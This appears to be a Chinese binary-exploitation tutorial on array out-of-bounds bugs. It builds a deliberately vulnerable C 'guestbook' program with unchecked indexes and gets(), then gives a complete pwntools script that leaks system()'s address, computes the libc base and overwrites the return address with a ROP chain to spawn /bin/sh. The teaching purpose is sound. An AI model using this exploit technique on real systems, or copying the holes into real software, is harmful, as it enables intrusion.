二进制-数组越界漏洞

基础知识

数组的原理

  • 数组是内存中一段连续的存储空间,一个数组中包含多个类型相同的数组元素;
  • 数组通过数组名在内存中找到对应的数组空间;
  • 数组元素通过数组名和索引获取;

如下程序定义了含有10个元素的数组a,依次打印出数组元素的地址;

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
int main(){
int a[10];
int i = 0;
printf("a's address: %p\n", &a);
for(i = 0; i < 10; i++) {
a[i] = i;
printf("a[%d]'s address: %p\n", i, &a[i]);
}
return 0;
}

运行结果显示,各个元素之间的地址相差一个int类型数值的大小,a[4]的地址与a的地址相 差0x10个字节,即4*sizeof(int)大小;

通过IDA的反汇编进一步明确元素的寻址方式,IDA能够获取各个变量用ebp表示出的地址,数组a的地址为ebp-0x34

下图汇编语言中,变量i的地址是ebp-0x0C,将i的值赋给eax和edx,然后将edx的值赋给数组元素;

每个数组元素的地址为ebp-0x34+eax*4,其中ebp-0x34是数组a的地址,eax*4是索引i*sizeof(int)

因此,确定数组元素寻址方式数组地址+索引*数组元素大小

漏洞原理

C和C++不对数组做边界检查,除了语言对编程人员信任和程序性能的顾虑外,C和C++的数组边界检查本身也是一件困难的事情:

  • 数组越界的判定不仅依赖于下标的值,也依赖于指针的类型;
  • 对于指向数组的指针来说,在程序中若没有显式的指明数组长度,还需要证明其地址计算结果位于该数组内;
  • 程序运行时,数组可能重新进行了动态分配,长度发生了变化;

这些情况使得边界检查将会给程序性能带来极大的负担,C和C++中并不能很好的防范数组越界漏洞;

漏洞分析

漏洞源码

以如下程序为例进行漏洞分析;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
/* guestbook */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int function(){
int i;
char **tmp;
const char *sys;
int flag;
char *name;
char *dest[4];
int choice;
int num;
char s[100];

setvbuf(stdout,0,2,0x14);
puts("Please setup your guest book");
for(i=0;i<=3;i++){
printf("Name for guest: #%d\n>>>",i);
name = malloc(0xf);
scanf("%15s",name);
getchar();
name[14]=0;
dest[i]=name;
}
tmp = dest;
sys = &system;
flag = 1;
while(flag){
puts("---------------------------");
puts("1: View name");
puts("2: Change name");
puts("3. Quit");
printf(">>");
scanf("%d",&choice);
getchar();
switch(choice){
case 1:
printf("Which entry do you want to view?\n>>>");
scanf("%d",&num);
getchar();
if(num>=0){
puts(dest[num]);
}
else{
puts("Enter a valid number");
}
//readName(dest);
break;
case 2:
printf("Which entry do you want to change?\n>>>");
scanf("%d",&num);
getchar();
if(num>=0){
printf("Enter the name of the new guest.\n>>>");
gets(&s);
strcpy(dest[num], &s);
}
else{
puts("Enter a valid number");
}
break;
case 3:
flag = 0;
break;
default:
puts("Not a valid option. Try again");
break;
}
}
return 0;
}
int main(){
function();
}

分析

  • 代码实现了简单的查看名字和修改名字的功能,用户输入4个名字后,把字符串所在的地址存入指针数组dest中;
  • 在case1中,通过输入序号查看对应的名字;
  • 在case2中,通过输入序号修改对应的名字;
  • 这两个环节没有对输入的序号做检查,由于数组dest只有4个元素,当输入的序号大于3或小于0,都会造成数组越界;

运行guestbook

  • 查看功能输入大于3的序号,会输出乱码;

  • 修改功能输入大于3的序号则会出现段错误;

由此判断本程序中的数组越界漏洞能够对内存进行查看和修改

漏洞利用思路

程序中sys变量记录了system函数的地址,利用的思路是,通过数组越界读取sys变量的值即system函数的地址,并利用数组越界构造ROP覆写返回地址为system函数,最终获取shell:

  • 读取system地址:

    程序中将system函数的地址写在了sys变量里,通过IDA来查看该变量的地址;

    • s[4]即为dest数组的地址为ebp-0x2C
    • V5记录了system的地址,为ebp-0x1C

结合gdb调试进行进一步观察 ,在system地址赋值之后设置断点,查看栈中内容如下

  • 数组dest中存放字符串地址,接下来是system地址和dest地址;
  • 由于数组dest的参数是字符串地址,为了读出system地址,输入序号5,这样越过数组dest的边界覆盖了紧邻的0xffe61bec,即dest数组的地址;
  • puts函数会在遇到\0时停止输出,因此可以从0xffe61bec一直往后读直到遇到结束符\0,里面就包含了system函数地址;

构造ROP劫持程序流

  • 除了利用数组越界读取数据,还可以对栈中内容进行覆写;

  • 构造一个ROP,让function函数返回时执行system函数,从而获取shell;

  • 在修改名字时仍然选择序号5,为了能够将ROP覆写从返回地址的位置,填充从0xffe61bec到返回地址之间的内存;

  • payload如下

    1
    2
    rop = p32(system)+p32(0xdeadbeef)+p32(binsh_addr)
    payload = 'a'*0x2c + p32(0xdeadbeef) + rop
  • 覆写之后的栈中内容如下;

  • 接着执行ret指令,相当于执行pop eip,eip就会指向system函数地址,esp则向下移动到0xffe61c1c处;

  • 跟踪进入system函数后,后续将先执行sub esp,0xc,然后通过esp+0x10查找system函数的参数,此时esp为0xffe61c20-0xc=0xffe61c14esp+0x10即为0xffe61c24,正好为写入/bin/sh字符串的地址处;

  • 最终payload如下;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    from pwn import *
    context.log_level='debug'
    r= process("./guestbook")

    r.recvuntil(">>>")
    r.sendline('A')
    r.recvuntil(">>>")
    r.sendline('B')
    r.recvuntil(">>>")
    r.sendline('C')
    r.recvuntil(">>>")
    r.sendline('D')

    r.recvuntil(">>")
    r.sendline("1")
    r.recvuntil(">>>")
    r.sendline("5")

    gdb.attach(r)
    data = r.recv(20)
    system = u32(data[-4:])
    print "[*]system:0x%x" %system

    l = ELF("./guestbook").libc
    l.address = system - l.symbols['system']
    print("[*]base: 0x%x" % l.address)

    binsh = l.search("/bin/sh\x00").next()
    print "[*]binsh:0x%x" %binsh

    rop = p32(system)+p32(0xdeadbeef)+p32(binsh)
    payload = 'a'*0x2c + p32(0xdeadbeef) + rop

    r.recvuntil(">>")
    r.sendline("2")
    r.recvuntil(">>>")
    r.sendline("5")
    r.recvuntil(">>>")
    r.sendline(payload)
    r.recvuntil(">>")
    r.sendline("3")

    r.interactive()
  • 执行payload,成功getshell;

备注:实验程序下载